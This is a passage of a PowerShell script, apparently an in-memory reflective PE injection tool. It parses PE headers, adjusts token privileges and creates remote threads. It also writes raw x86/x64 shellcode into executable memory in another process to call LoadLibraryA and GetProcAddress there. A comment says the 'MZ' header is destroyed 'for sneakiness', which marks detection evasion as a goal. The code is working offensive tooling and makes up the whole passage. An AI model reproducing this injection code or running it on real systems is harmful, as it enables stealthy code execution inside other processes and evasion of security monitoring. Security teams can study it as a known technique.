  906.         {
  907.             Throw "Unable to call LookupPrivilegeValue"
  908.         }
  909.  
  910.         [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  911.         [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  912.         $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  913.         $TokenPrivileges.PrivilegeCount = 1
  914.         $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  915.         $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  916.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  917.  
  918.         $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  919.         $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
  920.         if (($Result -eq $false) -or ($ErrorCode -ne 0))
  921.         {
  922.             #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode"   #todo need to detect if already set
  923.         }
  924.        
  925.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  926.     }
  927.    
  928.    
  929.     Function Create-RemoteThread
  930.     {
  931.         Param(
  932.         [Parameter(Position = 1, Mandatory = $true)]
  933.         [IntPtr]
  934.         $ProcessHandle,
  935.        
  936.         [Parameter(Position = 2, Mandatory = $true)]
  937.         [IntPtr]
  938.         $StartAddress,
  939.        
  940.         [Parameter(Position = 3, Mandatory = $false)]
  941.         [IntPtr]
  942.         $ArgumentPtr = [IntPtr]::Zero,
  943.        
  944.         [Parameter(Position = 4, Mandatory = $true)]
  945.         [System.Object]
  946.         $Win32Functions
  947.         )
  948.        
  949.         [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  950.        
  951.         $OSVersion = [Environment]::OSVersion.Version
  952.         #Vista and Win7
  953.         if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
  954.         {
  955.             #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
  956.             $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  957.             $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  958.             if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  959.             {
  960.                 Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  961.             }
  962.         }
  963.         #XP/Win8
  964.         else
  965.         {
  966.             #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
  967.             $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  968.         }
  969.        
  970.         if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  971.         {
  972.             Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
  973.         }
  974.        
  975.         return $RemoteThreadHandle
  976.     }
  977.  
  978.    
  979.  
  980.     Function Get-ImageNtHeaders
  981.     {
  982.         Param(
  983.         [Parameter(Position = 0, Mandatory = $true)]
  984.         [IntPtr]
  985.         $PEHandle,
  986.        
  987.         [Parameter(Position = 1, Mandatory = $true)]
  988.         [System.Object]
  989.         $Win32Types
  990.         )
  991.        
  992.         $NtHeadersInfo = New-Object System.Object
  993.        
  994.         #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
  995.         $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  996.  
  997.         #Get IMAGE_NT_HEADERS
  998.         [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  999.         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  1000.         $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  1001.        
  1002.         #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
  1003.         if ($imageNtHeaders64.Signature -ne 0x00004550)
  1004.         {
  1005.             throw "Invalid IMAGE_NT_HEADER signature."
  1006.         }
  1007.        
  1008.         if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1009.         {
  1010.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1011.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1012.         }
  1013.         else
  1014.         {
  1015.             $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1016.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1017.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1018.         }
  1019.        
  1020.         return $NtHeadersInfo
  1021.     }
  1022.  
  1023.  
  1024.     #This function will get the information needed to allocated space in memory for the PE
  1025.     Function Get-PEBasicInfo
  1026.     {
  1027.         Param(
  1028.         [Parameter( Position = 0, Mandatory = $true )]
  1029.         [Byte[]]
  1030.         $PEBytes,
  1031.        
  1032.         [Parameter(Position = 1, Mandatory = $true)]
  1033.         [System.Object]
  1034.         $Win32Types
  1035.         )
  1036.        
  1037.         $PEInfo = New-Object System.Object
  1038.        
  1039.         #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
  1040.         [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1041.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1042.        
  1043.         #Get NtHeadersInfo
  1044.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1045.        
  1046.         #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
  1047.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1048.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1049.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1050.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1051.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1052.        
  1053.         #Free the memory allocated above, this isn't where we allocate the PE to memory
  1054.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1055.        
  1056.         return $PEInfo
  1057.     }
  1058.  
  1059.  
  1060.     #PEInfo must contain the following NoteProperties:
  1061.     #   PEHandle: An IntPtr to the address the PE is loaded to in memory
  1062.     Function Get-PEDetailedInfo
  1063.     {
  1064.         Param(
  1065.         [Parameter( Position = 0, Mandatory = $true)]
  1066.         [IntPtr]
  1067.         $PEHandle,
  1068.        
  1069.         [Parameter(Position = 1, Mandatory = $true)]
  1070.         [System.Object]
  1071.         $Win32Types,
  1072.        
  1073.         [Parameter(Position = 2, Mandatory = $true)]
  1074.         [System.Object]
  1075.         $Win32Constants
  1076.         )
  1077.        
  1078.         if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1079.         {
  1080.             throw 'PEHandle is null or IntPtr.Zero'
  1081.         }
  1082.        
  1083.         $PEInfo = New-Object System.Object
  1084.        
  1085.         #Get NtHeaders information
  1086.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1087.        
  1088.         #Build the PEInfo object
  1089.         $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1090.         $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1091.         $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1092.         $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1093.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1094.        
  1095.         if ($PEInfo.PE64Bit -eq $true)
  1096.         {
  1097.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1098.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1099.         }
  1100.         else
  1101.         {
  1102.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1103.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1104.         }
  1105.        
  1106.         if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1107.         {
  1108.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1109.         }
  1110.         elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1111.         {
  1112.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1113.         }
  1114.         else
  1115.         {
  1116.             Throw "PE file is not an EXE or DLL"
  1117.         }
  1118.        
  1119.         return $PEInfo
  1120.     }
  1121.    
  1122.    
  1123.     Function Import-DllInRemoteProcess
  1124.     {
  1125.         Param(
  1126.         [Parameter(Position=0, Mandatory=$true)]
  1127.         [IntPtr]
  1128.         $RemoteProcHandle,
  1129.        
  1130.         [Parameter(Position=1, Mandatory=$true)]
  1131.         [IntPtr]
  1132.         $ImportDllPathPtr
  1133.         )
  1134.        
  1135.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1136.        
  1137.         $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1138.         $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1139.         $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1140.         if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1141.         {
  1142.             Throw "Unable to allocate memory in the remote process"
  1143.         }
  1144.  
  1145.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1146.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1147.        
  1148.         if ($Success -eq $false)
  1149.         {
  1150.             Throw "Unable to write DLL path to remote process memory"
  1151.         }
  1152.         if ($DllPathSize -ne $NumBytesWritten)
  1153.         {
  1154.             Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1155.         }
  1156.        
  1157.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1158.         $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
  1159.        
  1160.         [IntPtr]$DllAddress = [IntPtr]::Zero
  1161.         #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
  1162.         #   Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
  1163.         if ($PEInfo.PE64Bit -eq $true)
  1164.         {
  1165.             #Allocate memory for the address returned by LoadLibraryA
  1166.             $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1167.             if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1168.             {
  1169.                 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1170.             }
  1171.            
  1172.            
  1173.             #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
  1174.             $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1175.             $LoadLibrarySC2 = @(0x48, 0xba)
  1176.             $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1177.             $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1178.            
  1179.             $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1180.             $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1181.             $SCPSMemOriginal = $SCPSMem
  1182.            
  1183.             Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1184.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1185.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1186.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1187.             Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1188.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1189.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1190.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1191.             Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1192.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1193.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1194.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1195.             Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1196.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1197.  
  1198.            
  1199.             $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1200.             if ($RSCAddr -eq [IntPtr]::Zero)
  1201.             {
  1202.                 Throw "Unable to allocate memory in the remote process for shellcode"
  1203.             }
  1204.            
  1205.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1206.             if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1207.             {
  1208.                 Throw "Unable to write shellcode to remote process memory."
  1209.             }
  1210.            
  1211.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1212.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1213.             if ($Result -ne 0)
  1214.             {
  1215.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1216.             }
  1217.            
  1218.             #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
  1219.             [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1220.             $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1221.             if ($Result -eq $false)
  1222.             {
  1223.                 Throw "Call to ReadProcessMemory failed"
  1224.             }
  1225.             [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1226.  
  1227.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1228.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1229.         }
  1230.         else
  1231.         {
  1232.             [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1233.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1234.             if ($Result -ne 0)
  1235.             {
  1236.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1237.             }
  1238.            
  1239.             [Int32]$ExitCode = 0
  1240.             $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1241.             if (($Result -eq 0) -or ($ExitCode -eq 0))
  1242.             {
  1243.                 Throw "Call to GetExitCodeThread failed"
  1244.             }
  1245.            
  1246.             [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1247.         }
  1248.        
  1249.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1250.        
  1251.         return $DllAddress
  1252.     }
  1253.    
  1254.    
  1255.     Function Get-RemoteProcAddress
  1256.     {
  1257.         Param(
  1258.         [Parameter(Position=0, Mandatory=$true)]
  1259.         [IntPtr]
  1260.         $RemoteProcHandle,
  1261.        
  1262.         [Parameter(Position=1, Mandatory=$true)]
  1263.         [IntPtr]
  1264.         $RemoteDllHandle,
  1265.        
  1266.         [Parameter(Position=2, Mandatory=$true)]
  1267.         [IntPtr]
  1268.         $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
  1269.  
  1270.         [Parameter(Position=3, Mandatory=$true)]
  1271.         [Bool]
  1272.         $LoadByOrdinal
  1273.         )
  1274.  
  1275.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1276.  
  1277.         [IntPtr]$RFuncNamePtr = [IntPtr]::Zero   #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
  1278.         #If not loading by ordinal, write the function name to the remote process memory
  1279.         if (-not $LoadByOrdinal)
  1280.         {
  1281.             $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
  1282.  
  1283.             #Write FunctionName to memory (will be used in GetProcAddress)
  1284.             $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1285.             $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1286.             if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1287.             {
  1288.                 Throw "Unable to allocate memory in the remote process"
  1289.             }
  1290.  
  1291.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1292.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1293.             if ($Success -eq $false)
  1294.             {
  1295.                 Throw "Unable to write DLL path to remote process memory"
  1296.             }
  1297.             if ($FunctionNameSize -ne $NumBytesWritten)
  1298.             {
  1299.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1300.             }
  1301.         }
  1302.         #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
  1303.         else
  1304.         {
  1305.             $RFuncNamePtr = $FunctionNamePtr
  1306.         }
  1307.        
  1308.         #Get address of GetProcAddress
  1309.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1310.         $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
  1311.  
  1312.        
  1313.         #Allocate memory for the address returned by GetProcAddress
  1314.         $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1315.         if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1316.         {
  1317.             Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1318.         }
  1319.        
  1320.        
  1321.         #Write Shellcode to the remote process which will call GetProcAddress
  1322.         #Shellcode: GetProcAddress.asm
  1323.         [Byte[]]$GetProcAddressSC = @()
  1324.         if ($PEInfo.PE64Bit -eq $true)
  1325.         {
  1326.             $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1327.             $GetProcAddressSC2 = @(0x48, 0xba)
  1328.             $GetProcAddressSC3 = @(0x48, 0xb8)
  1329.             $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1330.             $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1331.         }
  1332.         else
  1333.         {
  1334.             $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1335.             $GetProcAddressSC2 = @(0xb9)
  1336.             $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1337.             $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1338.             $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1339.         }
  1340.         $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1341.         $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1342.         $SCPSMemOriginal = $SCPSMem
  1343.        
  1344.         Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1345.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1346.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1347.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1348.         Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1349.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1350.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1351.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1352.         Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1353.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1354.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1355.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1356.         Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1357.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1358.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1359.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1360.         Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1361.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1362.        
  1363.         $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1364.         if ($RSCAddr -eq [IntPtr]::Zero)
  1365.         {
  1366.             Throw "Unable to allocate memory in the remote process for shellcode"
  1367.         }
  1368.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1369.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1370.         if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1371.         {
  1372.             Throw "Unable to write shellcode to remote process memory."
  1373.         }
  1374.        
  1375.         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1376.         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1377.         if ($Result -ne 0)
  1378.         {
  1379.             Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1380.         }
  1381.        
  1382.         #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
  1383.         [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1384.         $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1385.         if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1386.         {
  1387.             Throw "Call to ReadProcessMemory failed"
  1388.         }
  1389.         [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1390.  
  1391.         #Cleanup remote process memory
  1392.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1393.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1394.  
  1395.         if (-not $LoadByOrdinal)
  1396.         {
  1397.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1398.         }
  1399.        
  1400.         return $ProcAddress
  1401.     }
  1402.  
  1403.  
  1404.     Function Copy-Sections
  1405.     {
  1406.         Param(
  1407.         [Parameter(Position = 0, Mandatory = $true)]
  1408.         [Byte[]]
  1409.         $PEBytes,
  1410.        
  1411.         [Parameter(Position = 1, Mandatory = $true)]
  1412.         [System.Object]
  1413.         $PEInfo,
  1414.        
  1415.         [Parameter(Position = 2, Mandatory = $true)]
  1416.         [System.Object]
  1417.         $Win32Functions,
  1418.        
  1419.         [Parameter(Position = 3, Mandatory = $true)]
  1420.         [System.Object]
  1421.         $Win32Types
  1422.         )
  1423.        
  1424.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1425.         {
